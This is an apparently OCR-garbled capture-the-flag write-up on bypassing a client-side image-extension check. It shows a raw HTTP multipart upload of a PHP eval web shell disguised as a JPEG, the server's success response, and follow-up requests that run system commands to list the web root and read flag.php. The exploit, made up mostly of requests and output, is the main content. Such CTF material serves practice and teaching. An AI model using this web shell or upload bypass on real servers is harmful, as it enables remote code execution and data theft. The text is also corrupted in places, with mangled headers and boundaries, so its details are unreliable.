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if ([’ jpg’, png’ 1. contains(ext)) {
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POST findex.php HTTP/1.1

Host: 111.200.241.244:61986

Content-Length: 211

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://111.200.241.244:61986

Content-Type: multipart/form-data,
boundary=----WehbKitFormBoundaryboY gQdXCNz5VEwKy

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/
like Gecko) Chrome/92.0.4515.107 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml;q=0.9 image/avif image
Jr*.q=0.8 application/signed-exchange;v=h3;q=0.9

Referer: http://111.200.241.244:61986/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en;q=0.8

Connection: close

------ WebKitFormBoundaryboYqQdXCNz5VEwWKy
Content-Disposition: form-data; name="upfile"; filename="1 .php|'
Content-Type: image/jpeg

<?php @eval($_POST["cmd"]); ?>
—————— WebKitFormBoundaryboY qQdXCNz5VEwy--
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HTTP/1.1 200 OK

Date: Wed, 22 Dec 2021 02:36:02 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.37

Vary: Accept-Encoding
Content-Length: 956

Connection: close

Content-Type: text/html; charset=UTF-8

upload success : upload/1640140562.1.php
<!Doctype html>
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URL

http://111.200.241.244:61986/upload/1640140562.1.php

enctype

@@ cnable POST application/x-www-form-urlencoded

Body
cmd=system('ls /var/www/html’);
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enctype

@@ cnable POST application/x-www-form-urlencoded

Body
cmd=system('head /var/www/html/flag.php’);
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